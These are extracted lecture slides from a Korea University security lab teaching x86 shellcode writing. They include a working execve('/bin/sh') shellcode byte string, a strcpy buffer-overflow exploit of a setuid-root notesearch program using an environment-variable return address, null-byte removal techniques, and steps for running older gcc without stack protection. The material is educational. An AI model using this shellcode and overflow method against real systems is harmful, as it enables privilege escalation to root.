0x500 SHELLCODE - Korea University
Download
Report
Transcript 0x500 SHELLCODE - Korea University
ESCA Lab.
2014020527 Sunhee Kong
0x500 Shellcode
• A small piece of malicious code used
as the payload in the exploitation of
a software vulnerability.
Shellcode
• Typically starts a command shell
from which the attacker can control
the compromised machine.
• Shellcode is commonly written in
machine code.
Running program
“Once you know how to write your own shellcode, your
exploits are limited only by your imagination.”
0x500 Shellcode in 0x300
• Remember this shellcode?
/* execve("/bin/sh") shellcode(35 Bytes) */
char shellcode[] =
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\
x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe
3\x51\x89\xe2\x53\x89\xe1\xcd\x80“;
• How should we make a shellcode?
0x500 notesearch.c program
• Reads note data and only displays the notes written
by that user ID
• An optional command-line argument can be
supplied for a search string
• Vulnerable to a buffer overflow
char searchstring[100];
…
if (arg > 1)
strcpy(searchstring, argv[1]);
// If there is an arg
// that is the search string
0x500 Exploiting notesearch program
• Put a shellcode in an environment
variable which is located at the end of
the stack segment.
memory
High address
stack
$ SHELLCODE
\x31\xc0\x31\xdb
\x31\xc9\x99\xb0
\xa4\xcd\x80\x6a
\x0b\x58\x51\x68
\x2f\...
$ export SHELLCODE=$(cat shellcode.bin)
0xbffff9c6
• Make RET point the shellcode.
• Get the address of the environment
variable.
RET
0xbffff9c6
SFP
0xbffff9c6
…
0xbffff9c6
…
Search
0xbffff9c6
String
…
0xbffff9c6
$ ./getenvaddr SHELLCODE ./notesearch
SEHLLCODE will be at 0xbffff9c6
• Make the buffer overflow
$ ./notesearch $(perl –e ‘print “\xc6\xf9\xff\xbf”x40’)
current ESP
Low address
current EBP
0x510 Assembly vs. C
• Shellcode is written using the assembly language.
•C
• Standard libraries – convenience and portability
• Assembly
• No standard libraries
• No portability (Architecture specific)
• Kernel system calls have to be made directly
0x510 helloworld.c
$ gcc helloworld.c
$ strace ./a.out
… write(1, “Hello, world!\n”, 13Hello, world!) = 13 …
• This is what actually outputs the string
0x510 write() System Call
… write(1, “Hello, world!\n”, 13Hello, world!) = 13 …
$ man 2 write
ssize_t write(int fd, const void * buf, size_t count);
• Write to a file descriptor
• Arguments
•
•
•
fd : File descriptor number
0 (stdin), 1 (stdout), 2 (stderr)
buf : A pointer to a string
count : Length of a string
0x511 Linux System Calls in Assembly
• Every possible Linux system call is
enumerated
• Listed in /usr/include/asm-i386/unistd.h
…
#define __NR_exit
1
…
#define __NR_write
…
4
0x511 helloworld.asm
• We will make system calls to…
• write() : Output strings
• exit(): Finishes process cleanly
• x86 instructions used to make a system call
• mov : copy a value between its two operands
• int : send an interrupt to the kernel
0x511 int 0x80
• The kernel will make a system call based on 4 registers
•
•
•
•
•
•
•
•
EAX : Which system call to make (System call number)
EBX : The 1st argument to the system call
ECX : The 2nd argument to the system call
EDX : The 3rd argument to the system call
EAX ← 4 (system call number for write())
EBX ← 1 (file descriptor number for stdout)
ECX ← msg (address of the string)
EDX ← 14 (length of the string “Hello, world!”)
0x511 Does it work?
• We just wrote our first x86 assembly program. Let’s
see if it works fine…
$ nasm –f elf helloworld.asm
$ ld helloworld.o
$ ./a.out
• Is it enough to be a shellcode?
0x520 Position-independent Code
• Inline string data : Bytes for the string “Hello,
world!” must be mixed together with the bytes for
the instructions.
• The string’s absolute memory address
• Calculated relative to EIP
• EIP cannot be accessed from assembly instructions
→ Need to use some sort of trick!
0x521 Stack-based Exploits
• x86 instructions for stack operations
• push
• pop
• call
<source>
<destination>
<location>
• push EIP
• ret
• EIP ← pop();
• Misuse of this architecture to get the address of
“Hello, world!” string
0x521 helloworld1.s
$ vi helloworld1.s
…
call
mark_blow
db “Hello, world!”, 0x0a, 0x0d
mark_below:
; ssize_t write(int fd, const void *buf, size_t count);
pop
…
ecx
0x521 Stack-based Exploits
$ hexdump –C helloworld1
$ ndisasm -b32 helloworld1
cf.
0x521 Does it work?
$ export SHELLCODE=$(cat helloworld1)
$ ./getenvaddr SHELLCODE ./notesearch
SEHLLCODE will be at 0xbffff9c6
$ ./notesearch $(perl –e ‘print “\xc6\xf9\xff\xbf”x40’)
0x522 Investigating with GDB
• notesearch program runs as root
• Can’t debug it as a normal user
• Core dumps
• When program crashes, the memory will be dumped to
disk as a core file
# ulimit –c unlimited
0x522 Investigating with GDB
# gdb –q –c ./core
(gdb) set dis intel
(gdb) x/5i 0xbffff998
(gdb) i r eip
(gdb) x/32xb 0xbffff998
(gdb) quit
# hexdump –C helloworld1
• The shell was kind enough to remove null bytes for us
Destroys the meaning of machine code
0x523 Where the Null Bytes Come from…
$ ndisasm -b32 helloworld1
• call
• A small value will have to be padded with leading zeros
→ 0x00 (Null bytes)
0x523 Removing Null Bytes
• In order for the shellcode to survive transit, it must
be redesigned so it doesn’t contain any null bytes.
• Taking advantage of 2’s complement
• A small negative number will have its leading bits turned
on → 0xff
• The machine code for jumping backward won’t have any
null bytes
• Is this enough?
0x523 More Null Bytes
$ vi helloworld2.s
$ nasm helloworld2.s
$ ndisasm –b32 helloworld2
Still has a lot of null bytes!
0x523 Eliminating Null Bytes
• jmp short vs jmp
EB 1E
jmp
short 0x20
E9 1E 00 00 00
jmp
0x20
0x523 Eliminating Null Bytes
• Understanding of register
width and addressing :
• 3 variations of mov
B8 04 00 00 00
mov
eax, 0x4
66 B8 04 00
mov
ax, 0x4
B8 04
mov
al, 0x4
0x523 Correctness of a Register Value
• More x86 Instructions
• inc <target>
• dec <target>
•
•
•
•
•
add
sub
or
and
xor
<dest>,
<dest>,
<dest>,
<dest>,
<dest>,
<source>
<source>
<source>
<source>
<source>
0x523 Correctness of a Register Value
• Clearing a register
• Method 1
: Takes 10 bytes to zero out a single register
B8 44 33 22 11
mov
eax, 0x11223344
2D 44 33 22 11
sub
eax, 0x11223344
• Method 2
: Modifies processor flags
29 C0
sub
eax, eax
xor
eax, eax
• Method 3
31 C0
0x523 helloworld3.s
$ ndisasm –b32 helloworld3
Free of null bytes!
To make even smaller shellcode
0x523 Does it work?
$ export SHELLCODE=$(cat helloworld1)
$ ./getenvaddr SHELLCODE ./notesearch
SEHLLCODE will be at 0xbffff9c6
$ ./notesearch $(perl –e ‘print “\xc6\xf9\xff\xbf”x40’)
“It works beautifully!”
0x530 Shell-Spawning Shellcode
• To spawn a shell
• Make a system call to execute the /bin/sh shell program
0x530 execve() System Call
$ man 2 execve
int execve(const char *filename, char *const argv[], char *const envp[]);
• Execute program
• Arguments
• filename : pointing the program to execute
• argv[] : Full path of program arg1
…
arg2
…
key=value
• envp[] : key=value
0x00 (Null)
0x00 (Null)
• Both argv and envp must be terminated by a null pointer!
0x530 exec_shell.c
• This program executes /bin/sh
$ vi exec_shell.c
…
execve(filename, argv, envp);
…
Null
“/bin/sh”
Null
“/bin/sh”
Null
0x530 To Do This in Assembly
• In assembly, the arguments for execve() must be
built in memory
• Filename, argument arrays, environment arrays
→ A null byte must be built in memory
• x86 Instruction to deal with memory
• lea <dest>, <source> : load effective address
0x530 exec_shell.s
$ vi exec_shell.s
18
db ‘/bin/shXAAAABBBB’ ;
the XAAABBBB bytes aren’t needed
0x530 Building Data in Memory
• Initial State
18
B
0x2C
B
db ‘/bin/shXAAAABBBB’
B
B
A
0x28
A
A
A
X
EAX
EBX
0x24
h
s
/
ECX
n
EDX
b
0x20
i
/
0xff
0x1C
0x530 Building Data in Memory
• Executed until line 12
0x00
0x2C
0x00
0x00
0x00
0x28
&”/bin/sh”
0x00
EAX
0x00000000
0x24
h
s
EBX
Filename
ECX
argv
n
EDX
envp
b
/
0x20
i
/
0xff
0x1C
0x530 Building Data in Memory
• Executed until the end (line 14)
• A system call to execve() is made
0x00
0x2C
0x00
0x00
0x00
0x28
&”/bin/sh”
0x00
EAX
0x0000000B
0x24
h
s
EBX
Filename
ECX
argv
n
EDX
envp
b
/
0x20
i
/
0xff
0x1C
0x530 Smaller Shellcode
• Smaller shellcode can be used in tighter exploit
situations with smaller usable buffers.
• Print the number of bytes in exec_shell
$ wc –c exec_shell
0x530 tiny_shell.s
• Uses push instructions to build the necessary
structures in memory for the execve() system call.
Backup Slides
0xXXX Live-CD
• Live-CD has gcc installed
• Two versions of gcc (gcc-3.3, gcc-4.1)
• By default, gcc means gcc-3.1
0xXXX Stack Protector Option
• Stack-smashing protection was first included in gcc
from version 4.1.
• gcc 3.3 doesn’t support --fno-stack-protector, --fstackprotector and --fstack-protector-all options.
0xXXX Symbolic Links
• Creating symbolic links
# ln –sf /usr/bin/gcc-3.3 /usr/bin/gcc
• Maintaining symbolic links
# update-alternatives --install /usr/bin/gcc-4.1 gcc 1
# update-alternatives --config gcc
# update-alternatives --list gcc
0xXXX gcc-4.1
• “--fstack-protector” is enabled by default
• In Ubuntu 6.10 and later version
• For C, C++, ObjC, ObjC++
• What if notesearch.c is compiled with gcc-4.1?
Thank You